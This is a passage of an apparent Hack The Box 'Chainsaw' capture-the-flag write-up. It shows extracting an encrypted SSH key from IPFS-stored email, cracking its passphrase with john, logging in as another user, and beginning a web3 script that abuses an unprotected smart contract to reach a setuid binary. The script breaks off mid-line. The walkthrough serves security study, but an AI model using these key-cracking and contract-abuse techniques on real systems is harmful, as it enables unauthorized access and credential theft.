[email protected]:~/Desktop/HTB/boxes/chainsaw# nc -lvnp 1337

[email protected]:/opt/WeaponizedPing$ export TERM=screen
[email protected]:/opt/WeaponizedPing$

ipfs ā€“> SSH as bobby ā€“> User Flag

There were 2 users on the box, administrator and bobby:

1
2
3
4
5
6
7
8
[email protected]:/opt/WeaponizedPing$ cd /home
[email protected]:/home$ ls -al
total 16
drwxr-xr-x 4 root root 4096 Dec 12 2018 .
drwxr-xr-x 25 root root 4096 Dec 20 2018 ..
drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 administrator
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 bobby
[email protected]:/home$

administrator had no permission to access bobbyā€˜s home directory:

1
2
3
[email protected]:/home$ cd bobby/
bash: cd: bobby/: Permission denied
[email protected]:/home$

In administratorā€˜s home directory I noticed a directory called .ipfs:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[email protected]:/home$ cd administrator/
[email protected]:/home/administrator$ ls -la
total 104
drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null
-rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout
-rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc
-rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv
drwxrwxr-x 5 administrator administrator 4096 Jan 23 2019 .ipfs
drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local
drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2
-rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt
-rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf
-rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null
-rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc
[email protected]:/home/administrator$

The InterPlanetary File System (IPFS) is a protocol and peer-to-peer network for storing and sharing data in a distributed file system. IPFS uses content-addressing to uniquely identify each file in a global namespace connecting all computing devices. -Wikipedia

Take a look at the cli documentation.
I used ip refs local to list the local references:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
[email protected]:/home/administrator$ ipfs refs local
QmYCvbfNbCwFR45HiNP45rwJgvatpiW38D961L5qAhUM5Y
QmPctBY8tq2TpPufHuQUbe2sCxoy2wD5YRB6kdce35ZwAx
QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB
QmdL9t1YP99v4a2wyXFYAQJtbD9zKnPrugFLQWXBXb82sn
QmSKboVigcD3AY4kLsob117KJcMHvMUu6vNFqk1PQzYUpp
QmUHHbX4N8tUNyXFK9jNfgpFFddGgpn72CF1JyNnZNeVVn
QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1
QmWSLAHhiNVRMFMv4bnE7fqq9E74RtXTRm9E1QVo37GV9t
QmPjsarLFBcY8seiv3rpUZ2aTyauPF3Xu3kQm56iD6mdcq
QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri
QmdfTbBqBPQ7VNxZEYEj14VmRuZBkqFbiwReogJgS1zR1n
QmfRZWFfaugHeY5gcgNDrnRkxhPT3epmHodryPYK3it6kk
QmZTR5bcpQD7cFgTorqxZDYaew1Wqgfbd2ud9QqGPAkK2V
QmejvEPop4D7YUadeGqYWmZxHhLc4JBUCzJJHWMzdcMe2y
QmbkQxbErC7KSWzSQw2FC13LUm9Rbo2XjeFQZbcmdarpuz
QmPpsT37SpTbZkAeMz7LXiJ8nQseBNziGBzpW1YtM67qx6
QmXWS8VFBxJPsxhF8KEqN1VpZf52DPhLswcXpxEDzF5DWC
QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp
Qmb7oGTxge7amSArtJsGUAqswY8y1G7m5QNjV57Nj5sEHU
QmS4ustL54uo8FzR9455qaxZwuMiUhyvMcX9Ba8nUH4uVv
QmXymZCHdTHz5BA5ugv9MQTBtQAb6Vit4iFeEnuRj6Udrh
QmUNLLsPACCz1vLxQVkXqqLX5R1X345qqfHbsf67hvA3Nn
Qma6kDKzUzFioo62v4LZaNsrwmCojF9AqwLaQJubRFnsAa
QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me
QmXgqKTbzdh83pQtKFb19SpMCpDDcKR2ujqk3pKph9aCNF
QmYn3NxLLYA6xU2XL1QJfCZec4B7MpFNxVVtDvqbiZCFG8
QmWMuEvh2tGJ1DiNPPoN6rXme2jMYUixjxsC6QUji8mop8
QmY5heUM5qgRubMDD1og9fhCPA6QdkMp3QCwd4s7gJsyE7
QmQ5vhrL7uv6tuoN9KeVBwd4PwfQkXdVVmDLUZuTNxqgvm
QmZMUdskS6vK8ycBiAffrYAE4wUDuWX9eK7kNgQqPCGbwF
QmPC3ZbrMeZ8BpstpNseNV4fCRL4QDzUKrSv8EHkarbn7r
QmPhk6cJkRcFfZCdYam4c9MKYjFG9V29LswUnbrFNhtk2S
QmSyJKw6U6NaXupYqMLbEbpCdsaYR5qiNGRHjLKcmZV17r
QmZZRTyhDpL5Jgift1cHbAhexeE1m2Hw8x8g7rTcPahDvo
QmUH2FceqvTSAvn6oqm8M49TNDqowktkEx4LgpBx746HRS
QmcMCDdN1qDaa2vaN654nA4Jzr6Zv9yGSBjKPk26iFJJ4M
QmPZ9gcCEpqKTo6aq61g2nXGUhM4iCL3ewB6LDXZCtioEB
Qmc7rLAhEh17UpguAsEyS4yfmAbeqSeSEz4mZZRNcW52vV
[email protected]:/home/administrator$

I used ipfs ls on every hash to list the contents, most of them were empty or useless except for this one which had some email messages:

1
2
3
4
5
6
7
[email protected]:/home/administrator$ ipfs ls QmZrd1ik8Z2F5iSZPDA2cZSmaZkHFEE4jZ3MiQTDKHAiri
QmbwWcNc7TZBUDFzwW7eUTAyLE2hhwhHiTXqempi1CgUwB 10063 artichain600-protonmail-2018-12-13T20_50_58+01_00.eml
QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF 4640 bobbyaxelrod600-protonmail-2018-12-13-T20_28_54+01_00.eml
QmZxzK6gXioAUH9a68ojwkos8EaeANnicBJNA3TND4Sizp 10084 bryanconnerty600-protonmail-2018-12-13T20_50_36+01_00.eml
QmegE6RZe59xf1TyDdhhcNnMrsevsfuJHUynLuRc4yf6V1 10083 laraaxelrod600-protonmail-2018-12-13T20_49_35+01_00.eml
QmXwXzVYKgYZEXU1dgCKeejT87Knw9nydGcuUZrjwNb2Me 10092 wendyrhoades600-protonmail-2018-12-13T20_50_15+01_00.eml
[email protected]:/home/administrator$

Weā€™re interested in bobbyā€˜s file so I used ipfs get to get it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[email protected]:/home/administrator$ ipfs get QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
Saving file(s) to QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
4.53 KiB / 4.53 KiB 100.00% 0s
[email protected]:/home/administrator$ ls -al
total 112
drwxr-x--- 8 administrator administrator 4096 Nov 22 19:50 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .bash_history -> /dev/null
-rw-r----- 1 administrator administrator 220 Dec 12 2018 .bash_logout
-rw-r----- 1 administrator administrator 3771 Dec 12 2018 .bashrc
-rw-r----- 1 administrator administrator 220 Dec 20 2018 chainsaw-emp.csv
drwxrwxr-x 5 administrator administrator 4096 Nov 22 19:50 .ipfs
drwxr-x--- 3 administrator administrator 4096 Dec 12 2018 .local
drwxr-x--- 3 administrator administrator 4096 Dec 13 2018 maintain
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ngrok2
-rw-r----- 1 administrator administrator 807 Dec 12 2018 .profile
-rw-r--r-- 1 administrator administrator 4629 Nov 22 19:50 QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .ssh
drwxr-x--- 2 administrator administrator 4096 Dec 12 2018 .swt
-rw-r----- 1 administrator administrator 1739 Dec 12 2018 .tmux.conf
-rw-r----- 1 administrator administrator 45152 Dec 12 2018 .zcompdump
lrwxrwxrwx 1 administrator administrator 9 Dec 12 2018 .zsh_history -> /dev/null
-rw-r----- 1 administrator administrator 1295 Dec 12 2018 .zshrc
[email protected]:/home/administrator$

The email had his encrypted ssh key as an attachment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
[email protected]:/home/administrator$ cat QmViFN1CKxrg3ef1S8AJBZzQ2QS8xrcq3wHmyEfyXYjCMF
X-Pm-Origin: internal
X-Pm-Content-Encryption: end-to-end
Subject: Ubuntu Server Private RSA Key
From: IT Department <[email protected]>
Date: Thu, 13 Dec 2018 19:28:54 +0000
Mime-Version: 1.0
Content-Type: multipart/mixed;boundary=---------------------d296272d7cb599bff2a1ddf6d6374d93
To: [email protected] <[email protected]>
X-Attached: bobby.key.enc
Message-Id: <zctvLwVo5mWy8NaBt3CLKmxVckb-cX7OCfxUYfHsU2af1[email protected]protonmail.ch>
Received: from mail.protonmail.ch by mail.protonmail.ch; Thu, 13 Dec 2018 14:28:58 -0500
X-Original-To: [email protected]
Return-Path: <[email protected]>
Delivered-To: [email protected]
-----------------------d296272d7cb599bff2a1ddf6d6374d93
Content-Type: multipart/related;boundary=---------------------ffced83f318ffbd54e80374f045d2451
-----------------------ffced83f318ffbd54e80374f045d2451
Content-Type: text/html;charset=utf-8
Content-Transfer-Encoding: base64

PGRpdj5Cb2JieSw8YnI+PC9kaXY+PGRpdj48YnI+PC9kaXY+PGRpdj5JIGFtIHdyaXRpbmcgdGhp
cyBlbWFpbCBpbiByZWZlcmVuY2UgdG8gdGhlIG1ldGhvZCBvbiBob3cgd2UgYWNjZXNzIG91ciBM
aW51eCBzZXJ2ZXIgZnJvbSBub3cgb24uIER1ZSB0byBzZWN1cml0eSByZWFzb25zLCB3ZSBoYXZl
IGRpc2FibGVkIFNTSCBwYXNzd29yZCBhdXRoZW50aWNhdGlvbiBhbmQgaW5zdGVhZCB3ZSB3aWxs
IHVzZSBwcml2YXRlL3B1YmxpYyBrZXkgcGFpcnMgdG8gc2VjdXJlbHkgYW5kIGNvbnZlbmllbnRs
eSBhY2Nlc3MgdGhlIG1hY2hpbmUuPGJyPjwvZGl2PjxkaXY+PGJyPjwvZGl2PjxkaXY+QXR0YWNo
ZWQgeW91IHdpbGwgZmluZCB5b3VyIHBlcnNvbmFsIGVuY3J5cHRlZCBwcml2YXRlIGtleS4gUGxl
YXNlIGFzayZuYnNwO3JlY2VwdGlvbiBkZXNrIGZvciB5b3VyIHBhc3N3b3JkLCB0aGVyZWZvcmUg
YmUgc3VyZSB0byBicmluZyB5b3VyIHZhbGlkIElEIGFzIGFsd2F5cy48YnI+PC9kaXY+PGRpdj48
YnI+PC9kaXY+PGRpdj5TaW5jZXJlbHksPGJyPjwvZGl2PjxkaXY+SVQgQWRtaW5pc3RyYXRpb24g
RGVwYXJ0bWVudDxicj48L2Rpdj4=
-----------------------ffced83f318ffbd54e80374f045d2451--
-----------------------d296272d7cb599bff2a1ddf6d6374d93
Content-Type: application/octet-stream; filename="bobby.key.enc"; name="bobby.key.enc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="bobby.key.enc"; name="bobby.key.enc"

LS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQpQcm9jLVR5cGU6IDQsRU5DUllQVEVECkRF
Sy1JbmZvOiBERVMtRURFMy1DQkMsNTNEODgxRjI5OUJBODUwMwoKU2VDTll3L0JzWFB5UXExSFJM
RUVLaGlOSVZmdFphZ3pPY2M2NGZmMUlwSm85SWVHN1ovemordjFkQ0lkZWp1awo3a3RRRmN6VGx0
dG5ySWo2bWRCYjZybk42Q3NQMHZiejlOelJCeWcxbzZjU0dkckwyRW1KTi9lU3hENEFXTGN6Cm4z
MkZQWTBWamxJVnJoNHJqaFJlMndQTm9nQWNpQ0htWkdFQjB0Z3YyL2V5eEU2M1ZjUnpyeEpDWWwr
aHZTWjYKZnZzU1g4QTRRcjdyYmY5Zm56NFBJbUlndXJGM1ZoUW1kbEVtekRSVDRtL3BxZjNUbUdB
azkrd3JpcW5rT0RGUQpJKzJJMWNQYjhKUmhMU3ozcHlCM1gvdUdPVG5ZcDRhRXErQVFaMnZFSnoz
RmZYOVNYOWs3ZGQ2S2FadFNBenFpCnc5ODFFUzg1RGs5TlVvOHVMeG5aQXczc0Y3UHo0RXVKMEhw
bzFlWmdZdEt6dkRLcnJ3OHVvNFJDYWR4N0tIUlQKaW5LWGR1SHpuR0ExUVJPelpXN3hFM0hFTDN2
eFI5Z01WOGdKUkhEWkRNSTl4bHc5OVFWd2N4UGNGYTMxQXpWMgp5cDNxN3lsOTU0U0NNT3RpNFJD
M1o0eVVUakRrSGRIUW9FY0dpZUZPV1UraTFvaWo0Y3J4MUxiTzJMdDhuSEs2CkcxQ2NxN2lPb240
UnNUUmxWcnY4bGlJR3J4bmhPWTI5NWU5ZHJsN0JYUHBKcmJ3c284eHhIbFQzMzMzWVU5ZGoKaFFM
TnA1KzJINCtpNm1tVTN0Mm9nVG9QNHNrVmNvcURsQ0MrajZoRE9sNGJwRDl0NlRJSnVyV3htcEdn
TnhlcwpxOE5zQWVudGJzRCt4bDRXNnE1bXVMSlFtai94UXJySGFjRVpER0k4a1d2WkUxaUZtVmtE
L3hCUm53b0daNWh0CkR5aWxMUHBsOVIrRGg3YnkzbFBtOGtmOHRRbkhzcXBSSGNleUJGRnBucTBB
VWRFS2ttMUxSTUxBUFlJTGJsS0cKandyQ3FSdkJLUk1JbDZ0SmlEODdOTTZKQm9ReWRPRWNwbis2
RFUrMkFjdGVqYnVyMGFNNzRJeWVlbnJHS1NTWgpJWk1zZDJrVFNHVXh5OW8veFBLRGtVdy9TRlV5
U21td2lxaUZMNlBhRGd4V1F3SHh0eHZtSE1oTDZjaXROZEl3ClRjT1RTSmN6bVIycEp4a29oTHJI
N1lyUzJhbEtzTTBGcEZ3bWR6MS9YRFNGMkQ3aWJmL1cxbUF4TDVVbUVxTzAKaFVJdVcxZFJGd0hq
TnZhb1NrK2ZyQXA2aWM2SVBZU21kbzhHWVl5OHBYdmNxd2ZScHhZbEFDWnU0RmlpNmhZaQo0V3Bo
VDNaRllEcnc3U3RnSzA0a2JEN1FrUGVOcTlFdjFJbjJuVmR6RkhQSWg2eitmbXBiZ2ZXZ2VsTEhj
MmV0ClNKWTQrNUNFYmtBY1lFVW5QV1k5U1BPSjdxZVU3K2IvZXF6aEtia3BuYmxtaUsxZjNyZU9N
MllVS3k4YWFsZWgKbkpZbWttcjN0M3FHUnpoQUVUY2tjOEhMRTExZEdFK2w0YmE2V0JOdTE1R29F
V0Fzenp0TXVJVjFlbW50OTdvTQpJbW5mb250T1lkd0I2LzJvQ3V5SlRpZjhWdy9XdFdxWk5icGV5
OTcwNGE5bWFwLytiRHFlUVE0MStCOEFDRGJLCldvdnNneVdpL1VwaU1UNm02clgrRlA1RDVFOHpy
WXRubm1xSW83dnhIcXRCV1V4amFoQ2RuQnJrWUZ6bDZLV1IKZ0Z6eDNlVGF0bFpXeXI0a3N2Rm10
b2JZa1pWQVFQQUJXeitnSHB1S2xycWhDOUFOenIvSm4rNVpmRzAybW9GLwplZEwxYnA5SFBSSTQ3
RHl2THd6VDEvNUw5Wno2WSsxTXplbmRUaTNLcnpRL1ljZnI1WUFSdll5TUxiTGpNRXRQClV2SmlZ
NDB1Mm5tVmI2UXFwaXkyenIvYU1saHB1cFpQay94dDhvS2hLQytsOW1nT1RzQVhZakNiVG1MWHpW
clgKMTVVMjEwQmR4RUZVRGNpeE5pd1Rwb0JTNk1meENPWndOLzFadjBtRThFQ0krNDRMY3FWdDN3
PT0KLS0tLS1FTkQgUlNBIFBSSVZBVEUgS0VZLS0tLS0=
-----------------------d296272d7cb599bff2a1ddf6d6374d93--
[email protected]:/home/administrator$

I copied it to my box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
[email protected]:~/Desktop/HTB/boxes/chainsaw# nano bobby.key.enc.b64
[email protected]:~/Desktop/HTB/boxes/chainsaw# base64 -d bobby.key.enc.b64 > bobby.key.enc
[email protected]:~/Desktop/HTB/boxes/chainsaw# cat bobby.key.enc
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: DES-EDE3-CBC,53D881F299BA8503

SeCNYw/BsXPyQq1HRLEEKhiNIVftZagzOcc64ff1IpJo9IeG7Z/zj+v1dCIdejuk
7ktQFczTlttnrIj6mdBb6rnN6CsP0vbz9NzRByg1o6cSGdrL2EmJN/eSxD4AWLcz
n32FPY0VjlIVrh4rjhRe2wPNogAciCHmZGEB0tgv2/eyxE63VcRzrxJCYl+hvSZ6
fvsSX8A4Qr7rbf9fnz4PImIgurF3VhQmdlEmzDRT4m/pqf3TmGAk9+wriqnkODFQ
I+2I1cPb8JRhLSz3pyB3X/uGOTnYp4aEq+AQZ2vEJz3FfX9SX9k7dd6KaZtSAzqi
w981ES85Dk9NUo8uLxnZAw3sF7Pz4EuJ0Hpo1eZgYtKzvDKrrw8uo4RCadx7KHRT
inKXduHznGA1QROzZW7xE3HEL3vxR9gMV8gJRHDZDMI9xlw99QVwcxPcFa31AzV2
yp3q7yl954SCMOti4RC3Z4yUTjDkHdHQoEcGieFOWU+i1oij4crx1LbO2Lt8nHK6
G1Ccq7iOon4RsTRlVrv8liIGrxnhOY295e9drl7BXPpJrbwso8xxHlT3333YU9dj
hQLNp5+2H4+i6mmU3t2ogToP4skVcoqDlCC+j6hDOl4bpD9t6TIJurWxmpGgNxes
q8NsAentbsD+xl4W6q5muLJQmj/xQrrHacEZDGI8kWvZE1iFmVkD/xBRnwoGZ5ht
DyilLPpl9R+Dh7by3lPm8kf8tQnHsqpRHceyBFFpnq0AUdEKkm1LRMLAPYILblKG
jwrCqRvBKRMIl6tJiD87NM6JBoQydOEcpn+6DU+2Actejbur0aM74IyeenrGKSSZ
IZMsd2kTSGUxy9o/xPKDkUw/SFUySmmwiqiFL6PaDgxWQwHxtxvmHMhL6citNdIw
TcOTSJczmR2pJxkohLrH7YrS2alKsM0FpFwmdz1/XDSF2D7ibf/W1mAxL5UmEqO0
hUIuW1dRFwHjNvaoSk+frAp6ic6IPYSmdo8GYYy8pXvcqwfRpxYlACZu4Fii6hYi
4WphT3ZFYDrw7StgK04kbD7QkPeNq9Ev1In2nVdzFHPIh6z+fmpbgfWgelLHc2et
SJY4+5CEbkAcYEUnPWY9SPOJ7qeU7+b/eqzhKbkpnblmiK1f3reOM2YUKy8aaleh
nJYmkmr3t3qGRzhAETckc8HLE11dGE+l4ba6WBNu15GoEWAszztMuIV1emnt97oM
ImnfontOYdwB6/2oCuyJTif8Vw/WtWqZNbpey9704a9map/+bDqeQQ41+B8ACDbK
WovsgyWi/UpiMT6m6rX+FP5D5E8zrYtnnmqIo7vxHqtBWUxjahCdnBrkYFzl6KWR
gFzx3eTatlZWyr4ksvFmtobYkZVAQPABWz+gHpuKlrqhC9ANzr/Jn+5ZfG02moF/
edL1bp9HPRI47DyvLwzT1/5L9Zz6Y+1MzendTi3KrzQ/Ycfr5YARvYyMLbLjMEtP
UvJiY40u2nmVb6Qqpiy2zr/aMlhpupZPk/xt8oKhKC+l9mgOTsAXYjCbTmLXzVrX
15U210BdxEFUDcixNiwTpoBS6MfxCOZwN/1Zv0mE8ECI+44LcqVt3w==
[email protected]:~/Desktop/HTB/boxes/chainsaw#

I used ssh2john.py to get the hash of the key in john format then I used john with rockyou.txt to crack it:

1
2
3
4
5
6
7
8
9
10
11
12
13
[email protected]:~/Desktop/HTB/boxes/chainsaw# /opt/ssh2john.py ./bobby.key.enc > bobby.key.enc.hash
[email protected]:~/Desktop/HTB/boxes/chainsaw# john --wordlist=/usr/share/wordlists/rockyou.txt ./bobby.key.enc.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes
Cost 2 (iteration count) is 2 for all loaded hashes
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
jackychain (./bobby.key.enc)
1g 0:00:00:22 DONE (2019-11-22 21:56) 0.04380g/s 628195p/s 628195c/s 628195C/s *7Ā”Vamos!
Session completed
[email protected]:~/Desktop/HTB/boxes/chainsaw#

Password: jackychain, letā€™s ssh into the box as bobby:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[email protected]:~/Desktop/HTB/boxes/chainsaw# chmod 600 bobby.key.enc
[email protected]:~/Desktop/HTB/boxes/chainsaw# ssh -i bobby.key.enc [email protected]
Enter passphrase for key 'bobby.key.enc':
[email protected]:~$ whoami
bobby
[email protected]:~$ id
uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip)
[email protected]:~$ ls -la
total 52
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 .
drwxr-xr-x 4 root root 4096 Dec 12 2018 ..
lrwxrwxrwx 1 bobby bobby 9 Nov 30 2018 .bash_history -> /dev/null
-rw-r--r-- 1 bobby bobby 220 Sep 12 2018 .bash_logout
-rw-r--r-- 1 bobby bobby 3771 Sep 12 2018 .bashrc
drwx------ 2 bobby bobby 4096 Nov 30 2018 .cache
drwx------ 3 bobby bobby 4096 Nov 30 2018 .gnupg
drwxrwxr-x 3 bobby bobby 4096 Dec 12 2018 .java
drwxrwxr-x 3 bobby bobby 4096 Nov 30 2018 .local
-rw-r--r-- 1 bobby bobby 807 Sep 12 2018 .profile
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 projects
drwxrwxr-x 2 bobby bobby 4096 Dec 12 2018 resources
drwxr-x--- 2 bobby bobby 4096 Dec 13 2018 .ssh
-r--r----- 1 bobby bobby 33 Jan 23 2019 user.txt
-rw-rw-r-- 1 bobby bobby 0 Dec 12 2018 .wget-hsts
[email protected]:~$


We owned user.

ChainsawClub: Analysis

In bobbyā€˜s home directory there was a directory called projects which had a project called ChainsawClub, Inside that directory there was another smart contract:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[email protected]:~$ cd projects/
[email protected]:~/projects$ ls -al
total 12
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 .
drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 ..
drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 ChainsawClub
[email protected]:~/projects$ cd ChainsawClub/
[email protected]:~/projects/ChainsawClub$ ls -al
total 156
drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 .
drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 ..
-rw-r--r-- 1 root root 44 Nov 22 20:04 address.txt
-rwsr-xr-x 1 root root 16544 Jan 12 2019 ChainsawClub
-rw-r--r-- 1 root root 126388 Jan 23 2019 ChainsawClub.json
-rw-r--r-- 1 root root 1164 Jan 23 2019 ChainsawClub.sol
[email protected]:~/projects/ChainsawClub$

ChainsawClub.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
pragma solidity ^0.4.22;

contract ChainsawClub {

string username = 'nobody';
string password = '7b455ca1ffcb9f3828cfdde4a396139e';
bool approve = false;
uint totalSupply = 1000;
uint userBalance = 0;

function getUsername() public view returns (string) {
return username;
}
function setUsername(string _value) public {
username = _value;
}
function getPassword() public view returns (string) {
return password;
}
function setPassword(string _value) public {
password = _value;
}
function getApprove() public view returns (bool) {
return approve;
}
function setApprove(bool _value) public {
approve = _value;
}
function getSupply() public view returns (uint) {
return totalSupply;
}
function getBalance() public view returns (uint) {
return userBalance;
}
function transfer(uint _value) public {
if (_value > 0 && _value <= totalSupply) {
totalSupply -= _value;
userBalance += _value;
}
}
function reset() public {
username = '';
password = '';
userBalance = 0;
totalSupply = 1000;
approve = false;
}
}

There was also a setuid elf executable called ChainsawClub:

1
2
3
[email protected]:~/projects/ChainsawClub$ file ChainsawClub
ChainsawClub: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=08b87cf44d6a671b91bc55f6e1f53c7ee083a417, not stripped
[email protected]:~/projects/ChainsawClub$

When executed it prints a note saying ā€œPlease sign up first and then log in!ā€, then it asks for credentials:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[email protected]:~/projects/ChainsawClub$ ./ChainsawClub 

_ _
| | (_)
___| |__ __ _ _ _ __ ___ __ ___ __
/ __| '_ \ / _` | | '_ \/ __|/ _` \ \ /\ / /
| (__| | | | (_| | | | | \__ \ (_| |\ V V /
\___|_| |_|\__,_|_|_| |_|___/\__,_| \_/\_/
club

- Total supply: 1000
- 1 CHC = 51.08 EUR
- Market cap: 51080 (ā‚¬)

[*] Please sign up first and then log in!
[*] Entry based on merit.

Username:
Password:
[*] Wrong credentials!
^C
[email protected]:~/projects/ChainsawClub$

Obviously weā€™ll use the smart contract to sign up, similar to what we did earlier weā€™ll write a python script to interact with the contract.
Weā€™ll use:
setUsername() to set the username
setPassword() to set the password, it has to be md5 hashed as we saw:

1
string password = '7b455ca1ffcb9f3828cfdde4a396139e';

setApprove() to change approve from false to true
transfer() to transfer coins to the userā€™s balance, it canā€™t transfer more than 1000 coins because thatā€™s the value of totalSupply and we canā€™t transfer more than that:

1
2
3
4
5
6
function transfer(uint _value) public {
if (_value > 0 && _value <= totalSupply) {
totalSupply -= _value;
userBalance += _value;
}
}

Transferring coins is an important step because when I created a new user without transferring coins I could successfully login but it said that I didnā€™t have enough funds and exited.

ChainsawClub: Exploitation

I used netstat to list the open ports, 63991 was open and listening on localhost only so I assumed that itā€™s the port on which the contract is deployed:

1
2
3
4
5
6
7
8
9
10
11
12
[email protected]:~/projects/ChainsawClub$ netstat -ntlp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:9810 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:63991 0.0.0.0:* LISTEN -
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
[email protected]:~/projects/ChainsawClub$

I got the ABI of the contract like I did before:

And we have the address of the contract in address.txt
I wrote the exploit and forwarded the port to my box:

1
2
3
[email protected]:~/Desktop/HTB/boxes/chainsaw# ssh -L 63991:127.0.0.1:63991 -i bobby.key.enc [email protected]                                                                                                          
Enter passphrase for key 'bobby.key.enc':
[email protected]:~$

The exploit is similar to the first one.
ChainsawClubExploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/python3
import json
from web3 import Web3, eth
from sys import argv
from hashlib import md5

YELLOW = "\033[93m"
GREEN = "\033[32m"

def exploit(address, username, password, passhash):
print(YELLOW + "[+] Starting")
print(YELLOW + "[+] Connecting to localhost:63991")
w3 = Web3(Web3.HTTPProvider('http://localhost:63991'))
print(GREEN + "[*] Connection Established")
w3.eth.defaultAccount = w3.eth.accounts[0]
print(YELLOW + "[+] Creating the contract representation")
print(YELLOW + "[+] Address: {}".format(address))
abi = json.loads('[ { "constant": true, "inputs": [], "name": "getBalance", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "uint256" } ], "name": "transfer", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "string" } ], "name": "setPassword", "outputs": [], "payable": false, "stateMutability": "nonpayable", "type": "function" }, { "constant": true, "inputs": [], "name": "getUsername", "outputs": [ { "name": "", "type": "string" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getSupply", "outputs": [ { "name": "", "type": "uint256" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": true, "inputs": [], "name": "getApprove", "outputs": [ { "name": "", "type": "bool" } ], "payable": false, "stateMutability": "view", "type": "function" }, { "constant": false, "inputs": [ { "name": "_value", "type": "bool" } ], "name": "setApprove", 